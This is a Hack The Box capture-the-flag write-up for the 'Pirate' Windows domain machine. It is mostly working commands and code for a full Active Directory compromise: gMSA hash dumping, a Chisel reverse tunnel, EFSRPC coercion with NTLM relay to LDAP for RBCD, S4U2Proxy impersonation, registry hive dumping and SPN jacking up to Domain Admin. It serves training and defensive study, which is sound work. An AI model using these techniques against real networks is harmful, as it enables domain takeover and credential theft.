Hack The Box - Pirate

Name: Pirate
Date: 2026-09-05
Views: 868
Tags:

Pirate — HTB Writeup (Hard · Windows · Season 10 Week 5)

Own it like you mean it — Multi-Host AD chain: Pre-Win2000 → gMSA → WinRM → Chisel pivot → EFSRPC coercion → NTLM relay RBCD → S4U2Proxy user.txt → LSA/SPN jacking → Domain Admin → root.txt.

  • IP: 10.129.244.95 (DC01.pirate.htb)
  • Domain: pirate.htb (DC01 dual-homed: 10.129.244.95 + internal 192.168.100.1)
  • Flags (in git-ignored loot/): loot/user.txt, loot/root.txt
  • Supplied creds: pentest / p3nt3st2025!&

nmap


0 · Recon

nmap -sS --open -p- --min-rate 3000 10.129.244.95

Classic AD footprint: 53/88/135/139/389/445/464/593/636/2179/3268/3269/5985/9389 — a Domain Controller. 2179/tcp (Hyper-V VMRDP) + 192.168.100.0/24 routes signal a virtualized multi-host lab.

Fingerprints:

nmap service version

nmap -sV -p 53,80,88,389,445,5985,2179,9389 10.129.244.95
ldapsearch -x -H ldap://10.129.244.95 -s base -LLL defaultNamingContext dnsHostName
#   dnsHostName: DC01.pirate.htb / DC=pirate,DC=htb

Add local resolution:

# /etc/hosts
10.129.244.95  DC01.pirate.htb DC01 pirate.htb
127.0.0.1      WEB01.pirate.htb            # later, for tunnel SMB

Kerberos clock discipline — HTB VPN NAT drifts: KRB_AP_ERR_SKEW killed runs until we NTP'd against the DC:

sudo timedatectl set-ntp false && sudo timedatectl set-timezone UTC
sudo date -s "$(python3 - <<'PY'  ... NTP via UDP/123 to 10.129.244.95 ... PY)"

1 · Enumeration of the domain (auth as pentest)

pentest authenticates on SMB/LDAP/WinRM — but shares are default-only (IPC$, SYSVOL, NETLOGON read). ADCS (certipy find) showed no ESC1 for us; gMSA password blobs are ACL'd to Domain Secure Servers (only MS01$ is a member). Kerberoastable a.white_adm (ADFS/a.white, RC4) resisted rockyou+rules. Wrong-door probing ends here — inspect the Pre-Windows 2000 group.

user + delegation LDAP

pre2k + delegation

ldapsearch ... '(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,...)' sAMAccountName
#   DC01$, MS01$, EXCH01$
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo servicePrincipalName
#   a.white_adm  →  http/WEB01.pirate.htb, HTTP/WEB01     (SPN: ADFS/a.white)

Key facts: MS01$ has no DNS hostname (pre2k trust cookie), the robots have Trailing gMSAs gMSA_ADCS_prod$ / gMSA_ADFS_prod$ in Remote Management Users on DC01, and IT-group WriteSPN over DC01/WEB01 for the SPN-jack later.

2 · Initial access — Pre-Windows 2000 computer account MS01$

With password-equals-machine-name (ms01), a TGT is trivial:

pre2k TGT → gMSA dump

impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
export KRB5CCNAME=MS01\$.ccache
gMSADumper.py -k -d pirate.htb -l dc01.pirate.htb
#   gMSA_ADCS_prod$:::aa831d274ee80cf2092f68cbcf29093e   (UserACL readable via Pre2k group!)
#   gMSA_ADFS_prod$:::e819498ec29f595382df1eaf4fb42307

The Pre-Windows-2000 group gives the machine read access to the gMSA msDS-GroupMSAMembership — 8-byte NT blobs come home.

3 · WinRM shell on DC01 as gMSA

gMSA_ADCS_prod$ is member of Remote Management Users → WinRM on DC01. evil-winrm ruby was broken (Reline bug + no WSMan client) and nxc winrm failed on Negotiate with NTLM; the reliable path was Python SPNEGO on HTTP with Kerberos (pypsrp + ccache):

# exploit/wsrman_k.py
cc = spnego.KerberosCCache(cc_path)
c = Client('DC01.pirate.htb', username=cc, password=None, ssl=False, port=5985,
           auth='kerberos', negotiate_service='HTTP')

DC01 shell via pypsrp

python3 exploit/wsrman_k.py /tmp/krb5cc_gmsa_adcs 'whoami; hostname; Get-ChildItem C:\Users -Force'
#   pirate\gmsa_adcs_prod$ / DC01 ...

Lesson worth noting: the HTTP/<host> service ticket is what the WinRM listener expects — negotiate_service='HTTP' fixed every "Server not found in Kerberos database" caused by the default WSMAN SPN.

4 · Pivot: WEB01 is only reachable through DC01

WEB01 sits on 192.168.100.0/24, unreachable from the VPN. DC01 is dual-homed (192.168.100.1).

Ligolo-ng (proxy 0.9.1 ↔ Windows agent) reconnected-forever-looped: every agent handshake registered, recovered, then dropped — and our WinRS-spawned Start-Process children got job-object-killed the moment the shell returned. Chisel 1.10.1 on kali was version-mismatched against its own 1.12 server and reverse-forwards never bound.

Working recipe — Chisel 1.12 both sides + long-lived WinRM shell:

  1. Upload chsvc.exe via pypsrp Client.copy into the gMSA profile.
  2. Run from a winrs shell that stays alive (child processes die when the WinRM session's job terminates): exploit/launch_tunnel.py calls execute_ps with a Start-Sleep 1200 tail — keeping the runspace worker alive while the ch client runs.
  3. Reverse-forwards:
chsvc.exe client 10.10.14.10:8443 R:0.0.0.0:15989:192.168.100.2:445  # SMB→WEB01
                                    R:0.0.0.0:15990:192.168.100.2:5985  # WinRM→WEB01

Attacker-side, ports map onto loopback:

VPN-side listener Destination (via DC01)
127.0.0.1:15989 WEB01.pirate.htb:445
127.0.0.1:15990 WEB01.pirate.htb:5985
127.0.0.1:8080 ligolo Web/API relay (debug)
127.0.0.1:11601 ligolo-ng (optional alternate tunnel)

SMB → 127.0.0.1:15989 verified with nxc smb:

SMB   127.0.0.1  15989  WEB01   [*] Windows 10 / Server 2019 Build 17763 …
SMB   127.0.0.1  15989  WEB01   [+] pirate.htb\gMSA_ADFS_prod$:e819498ec29f595382df1eaf4fb42307

and nxc spotted the router correctly at smbHandleRequested (127.0.0.1 for local, 10.129.244.95 for coerced WEB01 traffic).

5 · User flag — WEB01$ relay → RBCD → S4U2Proxy → Administrator on WEB01

5.1 Relay listener for the coerced authentication

WEB01 egress: only ports with an open LISTENER on the attacker host are dialable (stateful allow from our TCP viewership). Use ntlmrelayx on 445, ldap:// target (LDAPS signing is enforced), --remove-mic to handle CVE-2019-1040-style MIC:

sudo ntlmrelayx.py \
    -t ldap://DC01.pirate.htb \
    --delegate-access --remove-mic --no-validate-privs \
    --escalate-user 'MS01$' -smb2support

5.2 Coerce WEB01 via MS-EFSR with EfsRpcEncryptFileSrv

EfsRpcOpenFileRaw is patched (rpc_s_access_denied); the newer impacket v0.14 PetitPotam patch status means the tool bails — use the EfsRpcEncryptFileSrv / EfsRpcQueryRecoveryAgents fallbacks. PetitPotam.py has no set_dport → drive it programmatically via our 15989 SMB tunnel:

relay + coercion

t = transport.DCERPCTransportFactory(r'ncacn_np:WEB01.pirate.htb[\PIPE\lsarpc]')
t.set_credentials('gMSA_ADFS_prod$', '', 'pirate.htb', '', '<ADFS-NTLM>')
t.set_dport(15989)                       # chisel forward, SMB to WEB01
t.setRemoteHost('127.0.0.1')
dce.connect(); dce.bind(uuidtup_to_bin(('c681d488-d850-11d0-8c52-00c04fd90f7e','1.0')))
req = mod.EfsRpcEncryptFileSrv()
req['FileName'] = '\\\\10.10.14.10\\test\\Settings.ini\x00'
# → ERROR_BAD_NETPATH  = attack worked

ntlmrelayx result:

[*] (SMB): Received connection from 10.129.244.95, attacking target ldap://DC01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@10.129.244.95 …  SUCCEED
[-]  {"result": 50 … INSUFF_ACCESS_RIGHTS}      # addcomputer path, ignored
[*] Delegation rights modified succesfully!
[*] MS01$ can now impersonate users on WEB01$ via S4U2Proxy

5.3 S4U2Proxy — Administrator@cifs/WEB01.pirate.htb

user flag via S4U

getST.py -spn 'cifs/WEB01.pirate.htb' -impersonate Administrator \
         'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
#   Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

The S4U ccache contains only a TGS, no TGT. smbexec/psexec -k blow up with STATUS_MORE_PROCESSING_REQUIRED; gssapi refuses "Matching credential not found". Cleanest path: impacket low-level login with explicit TGS — build the SPNEGO AP-REQ straight from the ccache (Credential.toTGS() → kerberosLogin(..., TGS=tgs)), then read the flag over SMB:

tgs = CCache.loadFile(cc).credentials[0].toTGS()
s = SMBConnection('127.0.0.1', 'WEB01.pirate.htb', sess_port=15989)
s.kerberosLogin('Administrator', '', 'PIRATE.HTB', '', '', None, '', None, TGS=tgs)
s.getFile('C$', r'\Users\a.white\Desktop\user.txt', sink)
# → a81aada2200e1641270b24ece82d178b

🏁 user.txt: a81aada2200e1641270b24ece82d178b (in loot/user.txt)

6 · Privilege escalation — from WEB01 admin to Domain Admin

6.1 Dump local secrets on WEB01

With Administrator@cifs_WEB01 we run a tiny svcctl-based reg save (custom code over SMB pipe, or secretsdump with -use-vss if SPN-ACL allows):

# our svcctl service runs:
cmd /c reg save HKLM\SAM     C:\Windows\Temp\SAM.hiv /y
cmd /c reg save HKLM\SYSTEM  C:\Windows\Temp\SYSTEM.hiv /y
cmd /c reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hiv /y
# SMB-fetch them, then:
secretsdump.py -system SYSTEM.hiv -sam SAM.hiv -security SECURITY.hiv LOCAL

LSA secrets on WEB01

Administrator:500:aad3b435…:b1aac1584c2ea8ed0a9429684e4fc3e5  (WEB01 local admin NTLM)
PIRATE.HTB/a.white:$DCC2$10240#a.white#<CACHED-HASH>
[*] DefaultPassword
(Unknown User):<a.white-PASSWORD>        ← E2nvAOKSz5Xz2MJu
[*] $MACHINE.ACC : feba09cf0013fbf5834f50def734bca9      (WEB01 computer cred!)

DefaultPassword leaves a.white's plaintext password for free.

6.2 Reset a.white_adm through her Delegate right

a.white holds ForceChangePassword on a.white_adm:

password reset + SPN ops

bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white -p '<a.white-PASS>' \
         set password a.white_adm '<NEW-PASS>'
#   [+] Password changed successfully!

6.3 SPN jacking — move the delegation SPN onto the DC

pirate.htb\IT (a.white_adm is a member) has WriteSPN over DC01/WEB01. Move HTTP/WEB01.pirate.htb from WEB01$ to DC01$:

addspn.py -u 'pirate.htb\a.white_adm' -p '<NEW-PASS>' -t 'WEB01$' -s 'HTTP/WEB01.pirate.htb' -r 10.129.244.95   # remove
addspn.py -u 'pirate.htb\a.white_adm' -p '<NEW-PASS>' -t 'DC01$'  -s 'HTTP/WEB01.pirate.htb' 10.129.244.95      # add

Now a.white_adm's msDS-AllowedToDelegateTo: http/WEB01.pirate.htb resolves to DC01$ (the KDC looks up SPNs domain-wide).

6.4 S4U2Proxy + altservice → Domain Admin TGS

S4U → DC01

getST.py -spn 'HTTP/WEB01.pirate.htb' -impersonate Administrator \
         'pirate.htb/a.white_adm:<NEW-PASS>' -dc-ip 10.129.244.95 \
         -altservice 'CIFS/DC01.pirate.htb'
#   Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

7 · Root flag

root flag

export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
# impacket TGS-only login against DC01 SMB:
s.kerberosLogin('Administrator', '', 'PIRATE.HTB', ..., TGS=cc.credentials[0].toTGS())
s.getFile('C$', r'\Users\Administrator\Desktop\root.txt', sink)

🏁 root.txt: e42c9381783cc9b9a6a6c6127d0166da (in loot/root.txt) — Domain Admin.

8 · Summary map

MS01$ (Pre-Win2000 = password 'ms01')
 └── gMSA read (Domain Secure Servers ACL, Pre2k bypass)
      └── gMSA_ADCS_prod$ NTLM+AES → pypsrp WinRM on DC01
           └── chisel R:445/5985 endpoints (127.0.0.1:15989/15990)
                └── EfsRpcEncryptFileSrv coercion of WEB01$
                     └── ntlmrelayx ldap:// + remove-mic
                          └── msDS-AllowedToAct: MS01$ on WEB01$   (RBCD)
                               └── getST S4U2Proxy → Administrator@cifs/WEB01
                                    └── user.txt  (TGS-only ccache SMB read)
                                    └── reg save svcctl helper → SAM/SECURITY/SYSTEM.hiv
                                         └── LSA DefaultPassword → a.white = E2nvAOKS…
                                              └── bloodyAD → reset a.white_adm (ForceChangePassword right)
                                                   └── addspn: move HTTP/WEB01 → DC01$ (WriteSPN via IT group)
                                                        └── getST S4U2Proxy -altservice CIFS/DC01 → Domain Admin
                                                             └── root.txt on C:\Users\Administrator\Desktop

9 · Notes & gotchas (modern-tooling edition)

  • Clock: HTB-VPN NAT drift breaks all Kerberos. KRB_AP_ERR_SKEW for hours until re-NTP against the DC (systemd-timesync keeps yanking the clock — disable it for the session).
  • HTTP/… vs WSMAN/… SPN: pypsrp's auth='kerberos' on Windows 2019 wants HTTP/host — if you see "Server not found in Kerberos database" against a valid SPN, you asked for the wrong service class.
  • evil-winrm on this box: gem's Reline arity is broken against Ruby 3.3 (undefined method quoting_detection_proc) → silent crash; nxc winrm Negotiate path 401s unless HTTP-SPN is forced. pypsrp + ccache across negotiate_service='HTTP' is the reliable route.
  • ntlmrelayx vs ldaps://: DC01 enforces LDAP/LDAPS signing → use ldap:// + --remove-mic + --no-validate-privs, else insufficientAccessRights (the add-computer path fails harmlessly; the msDS-AllowedToActOnBehalfOfOtherIdentity write is the one that lands).
  • S4U ccaches are TGS-only and gssapi cannot consume them. Impacket's own SMB path can via kerberosLogin(..., TGS=cc.credentials[0].toTGS()). Use this trick for any S4U-impersonated SMB task.
  • chsvc.exe dies every ~5 min in this setup (WinRS job cleanup). Have launch_tunnels.py with a Start-Sleep <long> tail ready to revive.
  • PetitPotam.py -pipe efsr hits the patch (rpc_s_access_denied). Some 2026-era Windows builds allow EfsRpcEncryptFileSrv and EfsRpcQueryRecoveryAgents — keep both ready.
  • LSA DefaultPassword on WEB01 ignores the plaintext a.white password — don't skip the local secrets on non-DC hosts.

10 · Tooling snapshot (from this run)

Phase Tool File kept
gMSA dump gMSADumper.py (micahvandeusen) via pypsrp ccache exploit/gMSADumper.py
DC01 WinRM pypsrp + KerberosCCache exploit/wsrman_k.py
Tunnel Chisel 1.12.0 (matching client+server) exploit/launch_tunnel.py
Coercion impacket PetitPotam fallback (EfsRpcEncryptFileSrv) via dport-tunnel ad-hoc script
Relay ntlmrelayx.py --delegate-access --remove-mic —
S4U abuse getST.py -altservice —
Secrets svcctl "reg save"-service → secretsdump LOCAL ad-hoc
Remediations bloodyAD + addspn (krbrelayx) /tmp/krbrelayx/addspn.py

Written from the solve session — flags, met, and stored in git-ignored loot/ (user.txt, root.txt, hive dumps).